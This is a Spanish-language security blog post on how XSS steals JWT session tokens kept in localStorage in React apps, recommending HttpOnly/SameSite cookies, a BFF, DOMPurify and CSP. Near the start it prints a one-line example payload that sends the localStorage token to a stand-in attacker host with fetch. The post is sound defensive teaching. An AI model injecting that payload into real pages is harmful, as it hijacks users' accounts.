← Volver al blog
🔐 Seguridad9 min de lectura·

Cómo un solo XSS puede robar la sesión de tus usuarios (y cómo evitarlo en React)

La mayoría de las aplicaciones React guardan el token de sesión (JWT) en localStorage por comodidad. El problema: cualquier vulnerabilidad XSS convierte esa decisión en un secuestro total de la cuenta del usuario. Aquí comparamos las formas de almacenar tokens en el frontend y recomendamos el patrón de cookies HttpOnly + SameSite (idealmente con un BFF), con ejemplos prácticos en React.

El problema

En una aplicación frontend, el token de autenticación es la llave de la sesión del usuario. Si un atacante lo obtiene, puede hacerse pasar por el usuario sin necesitar su contraseña.

El vector de ataque más común para robar ese token es XSS (Cross-Site Scripting): la inyección y ejecución de código JavaScript malicioso en el contexto de tu página. Según OWASP, XSS es una de las vulnerabilidades más extendidas en aplicaciones web, y afecta a cualquier variable que llegue al DOM sin validación ni escape.

El punto crítico es este: si el token vive en localStorage o sessionStorage, es accesible desde JavaScript. Y si es accesible desde JavaScript, un XSS lo lee y lo exfiltra en una sola línea de código:

// Payload de un atacante inyectado vía XSS
fetch('https://atacante.com/roba?t=' + localStorage.getItem('token'));

Un único XSS se transforma así en un account takeover completo.

Navegador de la víctimaReact SPAscript XSS inyectadose ejecuta con tus permisosaccess_token (JWT)en localStorage → legible por JavaScript1. lee el token☠️Servidor del atacante2. fetch('https://atacante.com/roba?t=' + token)3. cuenta comprometidasuplantación hasta que el token expire☠️ un solo XSS = account takeover completo
Flujo vulnerable: el token en localStorage es legible por JS, así que el XSS lo lee y lo exfiltra al servidor del atacante.

🚫 Impacto medible

Un token robado permite suplantación total hasta su expiración. Con tokens de larga duración o refresh tokens en localStorage, la ventana de ataque puede ser de días.

Contexto

  • A quién va dirigido: desarrolladores frontend con nivel intermedio, familiarizados con React y autenticación basada en tokens (JWT).
  • Prerrequisitos: conocer qué es un JWT, cómo funciona el flujo de login y nociones básicas de peticiones HTTP.
  • Por qué importa ahora: las SPA modernas delegan cada vez más lógica al cliente, y el patrón «guardar el JWT en localStorage» se ha vuelto un antipatrón repetido en tutoriales, propagando una vulnerabilidad sistémica.

Soluciones existentes

En el frontend existen realmente tres enfoques para manejar el token. No hay una bala de plata: cada uno tiene trade-offs.

localStorage / sessionStorage

  • Pros: simple de implementar; el token viaja fácil en cabeceras Authorization; no hay CSRF.
  • Contras: totalmente accesible por JavaScript → un XSS roba el token.
  • Caso de uso: prototipos, demos, apps sin datos sensibles.

Cookie HttpOnly + SameSite + Secure

  • Pros: JavaScript no puede leer la cookie → el XSS no exfiltra el token. Se envía automáticamente.
  • Contras: introduce riesgo de CSRF (mitigable con SameSite y tokens anti-CSRF). Requiere config del backend.
  • Caso de uso: aplicaciones en producción con datos de usuario reales.

En memoria (variable JS) + refresh vía cookie

  • Pros: el access token nunca se persiste; se pierde al recargar (menor superficie).
  • Contras: complejidad; requiere refresh token (que debe ir en cookie HttpOnly).
  • Caso de uso: apps de alta seguridad que aceptan complejidad extra.

⚠️ Un matiz honesto: ninguna opción hace tu app inmune a XSS

Incluso con cookies HttpOnly, un atacante con XSS puede realizar acciones en nombre del usuario mientras la sesión está activa (porque la cookie se envía automáticamente). Lo que las cookies HttpOnly sí impiden es la exfiltración del token, es decir, el robo persistente de la credencial. Por eso la defensa real es doble: prevenir el XSS y contener su impacto.

Solución recomendada

Almacena el token en una cookie HttpOnly, Secure y SameSite, preferentemente detrás de un BFF (Backend For Frontend), y previene el XSS en origen.

Por qué esta opción

  • Una cookie HttpOnly es invisible para JavaScript, así que un XSS no puede leerla ni robarla. Esto rompe la cadena «XSS → robo de token → account takeover persistente».
  • SameSite=Strict o Lax mitiga CSRF al limitar cuándo se envía la cookie en peticiones cross-site.
  • Secure obliga a que la cookie solo viaje por HTTPS.
Navegador (React SPA)Reactcookie de sesiónHttpOnly · Secure · SameSite☠️ script XSSno puede leer la cookieBFF / BackendBFFtoken (JWT)nunca sale del servidorAPI / ServicioscookieSet-Cookie: HttpOnlyserver-to-server✅ el XSS ya no puede exfiltrar la credencial
Arquitectura recomendada: el token vive en el BFF; el navegador solo tiene una cookie HttpOnly que su JS no puede leer.

Trade-offs y cuándo NO usarla

  • Trade-off: requiere control del backend para setear las cookies y manejar CSRF. No es puramente frontend.
  • Cuándo NO usarla: en un prototipo desechable o una demo sin datos reales, la complejidad puede no justificarse; localStorage es aceptable ahí.
  • Recordatorio: las cookies no sustituyen a la prevención de XSS. Son la segunda línea de defensa.

Pasos de implementación

1. El backend setea la cookie HttpOnly en el login (ejemplo Express):

// Backend
res.cookie('session', jwt, {
  httpOnly: true,   // inaccesible desde JavaScript
  secure: true,     // solo por HTTPS
  sameSite: 'strict', // mitiga CSRF
  maxAge: 15 * 60 * 1000, // token corto: 15 min
});

2. El frontend React hace las peticiones incluyendo credenciales, sin tocar el token:

// El token NUNCA se lee ni se guarda en JS
async function getProfile() {
  const res = await fetch('/api/profile', {
    method: 'GET',
    credentials: 'include', // envía la cookie automáticamente
  });
  return res.json();
}

3. Previene el XSS (la defensa principal). En React:

// ✅ React escapa por defecto: esto es seguro
function Comment({ text }) {
  return <p>{text}</p>;
}

// ❌ NUNCA hagas esto con contenido no confiable:
function Danger({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// ✅ Si DEBES renderizar HTML, sanitízalo primero:
import DOMPurify from 'dompurify';

function SafeHtml({ html }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

4. Añade una Content Security Policy (CSP) para limitar qué scripts pueden ejecutarse, como capa adicional de contención:

Content-Security-Policy: default-src 'self'; script-src 'self'

Defensa en profundidad

La cookie HttpOnly corta la exfiltración del token; el escape de React y DOMPurify previenen el XSS en origen; la CSP contiene el impacto si algo se cuela. Ninguna capa basta por sí sola: se refuerzan entre sí.

Conclusión

Guardar el JWT en localStorage es cómodo pero convierte cualquier XSS en un secuestro de cuenta. La recomendación clara es:

  • Almacena el token en una cookie HttpOnly, Secure, SameSite (idealmente con un BFF).
  • Previene el XSS en origen: confía en el escape por defecto de React, evita dangerouslySetInnerHTML, y sanitiza con DOMPurify cuando sea inevitable.
  • Contén el impacto: tokens de vida corta, CSP y refresh tokens rotativos.

Métricas esperadas: eliminación del vector de exfiltración de token vía XSS (de «cualquier XSS = account takeover persistente» a «el token no es robable desde JS»), y reducción de la ventana de ataque con tokens cortos.

Próximos pasos: audita tu app en busca de usos de dangerouslySetInnerHTML, revisa dónde guardas hoy el token y define una CSP.

Bibliografía